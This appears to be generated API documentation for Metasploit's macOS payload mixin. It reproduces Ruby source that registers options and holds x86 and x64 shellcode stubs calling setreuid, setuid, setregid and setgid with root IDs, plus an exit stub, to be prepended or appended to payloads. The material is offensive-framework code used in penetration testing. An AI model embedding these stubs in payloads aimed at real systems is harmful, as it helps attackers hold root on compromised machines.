Module: Msf::Payload::Osx

Defined in:
lib/msf/core/payload/osx.rb

Overview

This class is here to implement advanced features for osx-based payloads. OSX payloads are expected to include this module if they want to support these features.

Defined Under Namespace

Modules: BundleInject, ReverseTcp_x64, SendUUID_x64

Instance Method Summary collapse

Instance Method Details

#apply_prepends(buf) ⇒ Object


62
63
64
65
66
67
68
69
70
71
72
73
74
75
# File 'lib/msf/core/payload/osx.rb', line 62

def apply_prepends(buf)
  test_arch = [ *(self.arch) ]
  pre = ''
  app = ''

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))
    handle_x86_osx_opts(pre, app)
  elsif (test_arch.include?(ARCH_X64))
    handle_x64_osx_opts(pre, app)
  end

  pre + buf + app
end

#handle_x64_osx_opts(pre, app) ⇒ Object


126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# File 'lib/msf/core/payload/osx.rb', line 126

def handle_x64_osx_opts(pre, app)

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x7e"     + # or r8, 126  (setreuid=126)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x48\x31\xf6"         + # xor rsi, rsi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x17"     + # or r8, 23  (setuid=23)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x7f"     + # or r8, 127  (setregid=127)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x48\x31\xf6"         + # xor rsi, rsi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x17"     + # shl r8, 23
           "\x49\x83\xc8\x5a"     + # or r8, 90  (setgid=181>>1=90)
           "\x49\xd1\xe0"         + # shl r8, 1
           "\x49\x83\xc8\x01"     + # or r8, 1 (setgid=181&1=1)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x41\xb0\x02"         + # mov r8b, 0x2   (Set syscall_class to UNIX=2<<24)
           "\x49\xc1\xe0\x18"     + # shl r8, 24
           "\x49\x83\xc8\x01"     + # or r8, 1  (exit=1)
           "\x4c\x89\xc0"         + # mov rax, r8
           "\x48\x31\xff"         + # xor rdi, rdi  0
           "\x0f\x05"               # syscall
  end
end

#handle_x86_osx_opts(pre, app) ⇒ Object


77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
# File 'lib/msf/core/payload/osx.rb', line 77

def handle_x86_osx_opts(pre, app)

  if (datastore['PrependSetreuid'])
    # setreuid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7e"             + #   movb    $0x7e,%al                  #
           "\xcd\x80"              #   int     $0x80                      #
  end

  if (datastore['PrependSetuid'])
    # setuid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x17"             + #   movb    $0x17,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetregid'])
    # setregid(0, 0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x7f"             + #   movb    $0x7f,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['PrependSetgid'])
    # setgid(0)
    pre << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\xb5"             + #   movb    $0xb5,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end

  if (datastore['AppendExit'])
    # exit(0)
    app << "\x31\xc0"             + #   xorl    %eax,%eax                  #
           "\x50"                 + #   pushl   %eax                       #
           "\xb0\x01"             + #   movb    $0x01,%al                  #
           "\xcd\x80"               #   int     $0x80                      #
  end
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the OSX platform. It provides special prepends, to support things like chroot and setuid.


17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# File 'lib/msf/core/payload/osx.rb', line 17

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          false
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          false
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          false
        ]
      ),
    ], Msf::Payload::Osx)

  ret
end